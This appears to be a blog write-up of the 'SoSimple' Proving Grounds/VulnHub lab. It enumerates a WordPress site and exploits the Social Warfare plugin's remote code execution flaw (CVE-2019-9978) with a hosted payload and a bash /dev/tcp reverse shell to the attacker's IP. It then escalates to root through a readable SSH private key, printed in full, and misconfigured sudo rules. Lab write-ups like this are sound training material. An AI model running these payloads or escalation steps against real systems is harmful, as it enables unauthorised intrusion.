[Offensive Security] Proving Grounds - SoSimple

[Offensive Security] Proving Grounds - SoSimple

https://portal.offensive-security.com/proving-grounds/play https://www.vulnhub.com/entry/so-simple-1,515/

·

7 min read

Keep it simple.

Footprinting

Open ports

Nmap scans showed the services SSH and HTTP are opened:

kali@kali:~$ sudo nmap -sS --top-ports=5000 -Pn -v10 -oA syn_full 192.168.174.78
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
kali@kali:~$ sudo nmap -sC -sV -p22,80 -Pn -v10 -oA vuln 192.168.174.78
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZJ+y+c4YDmXPBY8hytP7uA0bmTKJfUnWpZn1744GxKheNmQqG98tALhL+Hz4OxWRhLzoGa/klypcYMEstzpopxZvLIUil5PPfrCTW+dwCixiULgi8Q9ImfBgKNYaQ6aog7qXG0N0GUazyJj/O2Sfx8qc32cvgh27SOOfiIvZ3s3xeh1DOqjC1kEkzJG9YeMRKRc0AC2TCtRmGbvBGL3iKjjuLS+lXxgtNEnjGI3m+n7RwgMDe0iv82ThCc1oRjeTEysstm4baIJvsdRs/trfvV/2cfAAfl77B0p6HS3rPWZYj2WCoSyG6Z3bK+kjjt+FG5V+zhQ8G4yntT/brCIXGa0iSe1vGrLk6dIrRsmbPsG3V3dkggyOL/aWkL6Q2bnb3suFINJ98Hvjd9Pe3ngsnv5iefgRaHwu/GgP7sVpLsKGdvo2smS7PTmHrZFqP74SeGC+TQ2BIhxYe9uAoL5NRappcCyA0ZF3kB9907nSggM/1bZ2uXnWqzKwPD5dBvTM=
|   256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO/ko3XtMH5m6keCi750yCg/B93iEWSBbyGrmJZ4sHThaowuRlW6sm/WuHR6AUeoCsU0su07XVlgPtCJOf35ByU=
|   256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkLRPLyIQqo5WToErae3vTYq6M2ZYupOFtsl1oNG0rp
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: So Simple
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD

HTTP

Enumeration

ffuf can be used to enumerate the resources in the web server:

kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 -u http://192.168.174.78 0
.               [Status: 200, Size: 495, Words: 47, Lines: 78]
/               [Status: 200, Size: 495, Words: 47, Lines: 78]
index.html      [Status: 200, Size: 495, Words: 47, Lines: 78]
wordpress/      [Status: 200, Size: 13420, Words: 520, Lines: 148]

Down the rabbit holes

In the Wordpress website, we can enumerate users. For instance, the user test doesn't exist when entered as a login:

>>>
POST /wordpress/wp-login.php HTTP/1.1
Host: 192.168.174.78

log=test&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.174.78%2Fwordpress%2Fwp-admin%2F&testcookie=1

<<<
Unknown username. Check again or try your email address.

Whereas admin exists:

>>>
POST /wordpress/wp-login.php HTTP/1.1
Host: 192.168.174.78

log=admin&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.174.78%2Fwordpress%2Fwp-admin%2F&testcookie=1

<<<
The password you entered for the username admin is incorrect. Lost your password?

However, I couldn't crack admin's password using Hydra :/:

kali@kali:~$ hydra -f -t 16 -l jamarir -P /usr/share/wordlists/rockyou.txt 192.168.174.78 http-post-form "/wordpress/wp-login.php:log=admin&pwd=^PASS^&wp-submit=Log+In:F=Error"

Wordpress plugin exploit

wpscan revealed the plugins used by the Wordpress CMS:

kali@kali:~$ wpscan --url http://192.168.174.78/wordpress |tee -a wordpress.txt
kali@kali:~$ grep -E 'Location.*plugins/' wordpress.txt
 | Location: http://192.168.174.78/wordpress/wp-content/plugins/simple-cart-solution/
 | Location: http://192.168.174.78/wordpress/wp-content/plugins/social-warfare/

In particular, the social-warface plugin seems exploitable :]

kali@kali:~$ searchsploit wordpress social warfare
------------------------ ---------------------------------
 Exploit Title          |  Path
------------------------ ---------------------------------
WordPress Plugin Social | php/webapps/46794.py
------------------------ ---------------------------------

This exploit allows to perform an Unauthenticated Remote Code Execution through the swp_url GET parameter (CVE-2019-9978):

kali@kali:~$ searchsploit -x 46794
[...]
    VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"
[...]

The vulnerable version of the plugin (3.5.2) uses a script (lib/utilities/SWP_Database_Migration.php) which executes the eval() function:

[...]
if ( true == SWP_Utility::debug('load_options') ) {
[...]
            $options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
[...]
            $array = 'return ' . $options . ';';
            try {
                $fetched_options = eval( $array );
            }

            $pre = strpos($options, '<pre>');
            if ($pre != 0) {
                wp_die('No Social Warfare found.');
            }

            $options = str_replace('<pre>', '', $options);
            $cutoff = strpos($options, '</pre>');
            $options = substr($options, 0, $cutoff);
[...]

The condition above is true if the swp_debug GET parameter is set to load_options, as we can see in the lib/utilities/SWP_Utility.php script:

    /**
     * Checks to see if a debugging query paramter has been set.
     *
     * @since  2.1.0
     * @since  3.3.0 | 14 AUG 2018 | Refactored to a one-liner.
     * @access public
     * @param  string $type The query paramter to check for.
     *
     * @return bool True if the specified key is set for debugging, else false.
     *
     */
    public static function debug( $key = '' ) {
        return !empty( $_GET['swp_debug'] ) && ( strtolower( $_GET['swp_debug'] ) == strtolower( $key ) );
    }

On top of that, the payload must contain the "<pre>" string, otherwise the vulnerable input is not processed:

            $pre = strpos($options, '<pre>');
            if ($pre != 0) {
                wp_die('No Social Warfare found.');
            }

As a result, we get an RCE by injecting a link to a malicious script we host in the swp_url GET parameter:

kali@kali:~$ cat phpinfo.txt
<pre>

phpinfo();

</pre>

kali@kali:~$ python -m http.server --bind 192.168.49.174 48888
>>>
GET /wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.49.174:48888/phpinfo.txt HTTP/1.1
Host: 192.168.174.78

<<<
[phpinfo results]

Finally we get a reverse shell :)

kali@kali:~$ cat revshell.txt
<pre>

system("bash -c 'bash -i >& /dev/tcp/192.168.49.174/49999 0>&1'")

</pre>

kali@kali:~$ nc -nlvp 49999
>>>
GET /wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.49.174:48888/revshell.txt HTTP/1.1
Host: 192.168.174.78

<<<
listening on [any] 49999 ...
connect to [192.168.49.174] from (UNKNOWN) [192.168.174.78] 36624
bash: cannot set terminal process group (946): Inappropriate ioctl for device
bash: no job control in this shell
www-data@so-simple:/var/www/html/wordpress/wp-admin$

Local privilege Escalation

local.txt

www-data

There are 3 loggable users:

www-data@so-simple:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
max:x:1000:1000:roel:/home/max:/bin/bash
steven:x:1001:1001:Steven,,,:/home/steven:/bin/bash

In max's folder, we see the first flag in local.txt is readable by anyone:

www-data@so-simple:/home/max$ ls -la
total 52
drwxr-xr-x 7 max  max  4096 Aug 22  2020 .
drwxr-xr-x 4 root root 4096 Jul 12  2020 ..
lrwxrwxrwx 1 max  max     9 Aug 22  2020 .bash_history -> /dev/null
-rw-r--r-- 1 max  max   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 max  max  3810 Jul 12  2020 .bashrc
drwx------ 2 max  max  4096 Jul 12  2020 .cache
drwx------ 3 max  max  4096 Jul 12  2020 .gnupg
drwxrwxr-x 3 max  max  4096 Jul 12  2020 .local
-rw-r--r-- 1 max  max   807 Feb 25  2020 .profile
drwxr-xr-x 2 max  max  4096 Jul 14  2020 .ssh
-rw-r--r-- 1 max  max    33 Apr  1 19:42 local.txt
-rw-r--r-- 1 max  max    49 Jul 12  2020 personal.txt
drwxrwxr-x 3 max  max  4096 Jul 12  2020 this
-rwxr-x--- 1 max  max    43 Aug 22  2020 user.txt

www-data@so-simple:/home/max$ cat local.txt
c0[...]06

root.txt

Now we must escalate our privileges to the root user. We'll first impersonate max

M4x3d

In max's folder, there is an interesting personal.txt file:

www-data@so-simple:/home/max$ cat personal.txt
SGFoYWhhaGFoYSwgaXQncyBub3QgdGhhdCBlYXN5ICEhISA=

Decoding the base64 text shows:

www-data@so-simple:/home/max$ base64 -d personal.txt
Hahahahaha, it's not that easy !!!

Note that navigating into the this folder is a rabbit hole:

www-data@so-simple:/home/max$ cd this/is/maybe/the/way/to/a
www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ ls
password
private_key
rabbit_hole
www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ cat rabbit-hole.txt
             _\_.                  ._/_
          .\'    ```-`\|    |/'-'''    `/.
        .\'            \|  |/            `/.
     \.\'               \||/               `/./
    .'              ._._ || _._.              `.
   ./             ./'  | || |  `\.             \.
  /'            .'\ \  / /\ \  / /`.            `\
 /|            /|  \ \/ /..\ \/ /  |\            |\
 /|            /  /'   .\||/.   `\  \            |\
  /|          /` .'.---.    .---.`. '\          |\
   '/-/|--|-/'  / /     \  /     \ \  `\-|--|\-\`
               | /       \/       \ |
               | `.   ._()()_.   .' |
            _\_\|  `._\.    ./_.'  |/_/_
        \_\`            \__/            '/_/
      \`    ____     o   /\   o     ____    '/
      =   .'`.   o    o /  \ o   o    .'`.   =
      '/  |   `._____..'    `.._____.'   |  \`
      -/        \                  /        \-
       '/-       \       ..       /       -\`
         '/     _.\      `'      /._     \`
          '//-''   \     ||     /   ``-\\`
                    \____/\____/

What about the folders ?

www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ cat password/password.txt
Haha, you wish!! :)

And the private RSA key ?

www-data@so-simple:/home/max/this/is/maybe/the/way/to/a$ cat private_key/id_rsa
-----BEGIN RSA Rubbish Key-----
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm
-----END RSA Rubbish Key-----

Actually, the private key was directly readable inside the .ssh folder:

www-data@so-simple:/home/max$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Thus, we can connect as max using SSH, and no password is required:

kali@kali:~$ ssh2john id_rsa_max  > hash_max.txt
id_rsa_max has no password!

kali@kali:~$ ssh -i id_rsa_max max@192.168.174.78

St3v3n3d

Interestingly, we can elevate as steven without password:

max@so-simple:~$ sudo -l
Matching Defaults entries for max on so-simple:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User max may run the following commands on so-simple:
    (steven) NOPASSWD: /usr/sbin/service

max@so-simple:~$ sudo -u steven /usr/sbin/service
Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]

max@so-simple:~$ sudo -u steven /usr/sbin/service ../../bin/sh
steven@so-simple:~$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)

There is no interesting file within steven's personal folder:

steven@so-simple:~$ cat user2.txt
This is not the flag you're looking for..

R00t3d

But steven can run the command /opt/tools/server-health.sh as root with no password:

steven@so-simple:~$ sudo -l
Matching Defaults entries for steven on so-simple:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User steven may run the following commands on so-simple:
    (root) NOPASSWD: /opt/tools/server-health.sh

However, the script server-health doesn't exist:

steven@so-simple:~$ sudo /opt/tools/server-health.sh
sudo: /opt/tools/server-health.sh: command not found

Therefore, we can easily create a script that spawns a shell:

steven@so-simple:~$ vim /opt/tools/server-health.sh
#!/bin/bash
bash

steven@so-simple:~$ chmod +x /opt/tools/server-health.sh

And become root:

steven@so-simple:~$ sudo /opt/tools/server-health.sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root/
flag.txt  proof.txt  snap
# cat /root/*
This is not the flag you're looking for...
ed[...]70

Did you find this article valuable?

Support jamarir by becoming a sponsor. Any amount is appreciated!